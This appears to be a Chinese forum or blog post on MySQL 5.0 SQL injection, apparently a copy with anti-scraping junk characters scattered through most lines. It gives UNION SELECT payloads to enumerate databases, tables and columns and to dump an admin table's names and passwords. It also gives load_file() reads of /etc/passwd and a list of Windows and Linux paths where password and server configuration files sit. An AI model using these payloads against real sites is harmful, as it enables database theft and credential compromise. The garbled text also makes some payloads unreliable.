mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。



2 ?8 [( |9 g' N% h  ^8 rMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
* {' {+ o+ M, f$ W* s中记录了Mysql中所有
7 r8 ?2 D# s# `( ]" E/ U存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
( A6 L0 b4 o  r) @明。
1.得到所有数据库名：
4 [( j2 I5 q$ c/ `1 r|SCHEMATA ->存储数据库名的表
1 M/ r+ i/ z8 Y3 p& B  ?" m|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
+ w# w/ [  U; w  b|—字段：TABLE_NAME ->存储表的表名
! b; o4 {/ _" D3 {: k) `+ r* v
$ |" m. x8 f% S; ]% T2 L4 l9 Y1 a  H|COLUMNS ->存储的字段名表
6 h4 b5 q+ c) m|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称
$ _9 q4 W- `& z# f" [, P) q0 P
#########################################################################
4 l/ l3 @2 H8 T0 I" E- m##
1 X4 N* o/ z4 a+ ?
0 C# v8 `+ c2 s) h* Y% G0×001 获取系统信息:
0 x0 F; ^- S( d* j/ o; F
7 b% @/ g$ d( [0 k' F9 l* wunion select 1,2,3,4,5,concat
4 |  d9 ?6 {7 D  m" u& }(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
0 |9 R; `3 k* Q
7 v* Q2 e5 H  c+ _3 h/*

@@global.version_compile_os 获取系统版本
5 {4 p. y  x9 {; ?0 q5 m* X" {
) I/ E& e& A% K. m5 g6 v# d! f@@datadir 数据库路径
database() 当前数据库名称
7 O* f) e/ I% ]5 Z0x3c62723e 换行HEX值

# T8 Y3 s8 v  G) W, T/ a*/

! T' E( f6 \3 p! B2 B######################################################################

* R0 b* w: i% [- V* P% p' i0×002 获取表名
" G4 J6 S7 d3 K- ^: a) w0 l+ L: I
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
. w  F' @6 S, r6 Q& t! U
/*

0x67617264656e 为当前数据库名

. J! ]" U3 `/ t6 I9 S8 j8 V9 Ugroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
" F; @" }4 a4 T; E
*/

+ T9 H) [2 v7 F* }) L, n######################################################################

0×003 获取字段
' Y$ V" q. A% e3 @* W' @
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
) O- T. q; d5 M3 ]information_schema.columns where table_name=0x61646d696e and
( q6 P# a0 `, V* j* h
/ X% d0 ]! n: U4 ^# P
* L) w$ ?" f: f9 Y! Ttable_schema=0x67617264656e limit 1 /*
' S, s, P6 K# N! z4 Z* z
; n# p) n" c' C0 c: ]+ m/*
( `% `) e" B2 W$ ]" f5 d3 \- r
3 l6 N4 W9 l0 {0 t7 U, ?group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
! V# i* d, W1 y7 |
0x61646d696e ->选择一个表

0x67617264656e ->数据库名
9 \9 o: U- q- U" l
! x  |$ O0 t; N* A/ u3 E*/

7 u/ T' Z* v6 G4 \4 p$ t#####################################################################

0×004 获取数据

union select 1,2,3
- a8 D7 L5 V/ }, o,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
# n4 I& s0 l8 ?; H# E; P
, q6 i3 m. e2 E$ l. munion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
: M$ k$ y+ k* l
/*
; _& C9 ^9 O$ m
0x3c62723e 换行符号HEX编码

+ L5 k  e: d+ ~  kgroup_concat 同时获得该字段所有数据
8 \. I- x7 D$ m4 @' F
*/

" T! o' E# N" ~3 A& G/ T3 h



顺便添加一些mysql注入时非常有用的一些东西
1 q; N3 I3 q% u6 f6 [6 D
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
8 M0 T" k- O( y
) H$ a0 k  G- e- u1:system_user() 系统用户名
2:user()        用户名
- i, C7 V' Y! {9 Y  j% h3:current_user()  当前用户名
! u7 Y4 h0 }% }! p4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
: T6 y) D4 Y' I. q4 u8 K5 RWINDOWS下:
c:/boot.ini          //查看系统版本
3 a4 }5 _) O; K  g# `- }' v4 sc:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
% u; I) Z0 N' S& E2 Y& ~c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
3 G$ Z: @6 a  P( c' Pc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
% \2 s# {+ S8 }( e2 A/ S4 _2 N; lc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
" Y$ G+ t9 F& G# Pc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
: A4 e! Q; v( l' O/ B9 Vc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
5 s" L. |. F* O& Kc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
, q7 j. S1 o2 b//存储了pcAnywhere的登陆密码
( k7 `" u  @$ z$ ?c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

& P( ~$ {5 S/ l. s# r4 Z! k8 O* }
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
. X4 x9 R; M. y) C% G" dC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
, t& U0 \  G4 T
2 G9 p, K% t; P$ C4 x% T; VLUNIX/UNIX下:
$ O6 F7 z. [. E' T/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
! ]! M3 v6 v% B- r- z4 K/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
. R* r% I- }9 m+ ?6 ?/ I: |9 j/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
. O/ t0 g7 _! k0 y3 K, H% n2 J0 [/etc/redhat-release //系统版本
% b$ X9 O! G' p7 |2 y/etc/issue
/etc/issue.net
1 z" ~0 o" j2 k2 h! B/usr/local/app/php5/lib/php.ini //PHP相关设置
( @" ~% K7 v5 e. ]6 O: Z) {6 A, Q/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
7 [, q" P& w" o8 R/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
8 k& V! s" S0 b1 k. h! k0 |6 C/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
1 Y2 p; i1 _& @: ^) k( u9 r/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
$ l$ b1 Y2 y# ~1 @" x: T. w7 p/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
: f  e1 v7 b; d% ]/ t0 dreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
. K7 o% ~( x" y% r) T1 J$ \8 Z! i  V) ireplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
' Y; s' o7 n  n, h# B  ?* \9 f" m+ g上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
- h! A9 a9 X$ O! d9 C' d
6 _0 S' E5 }  o4 X1 R0 v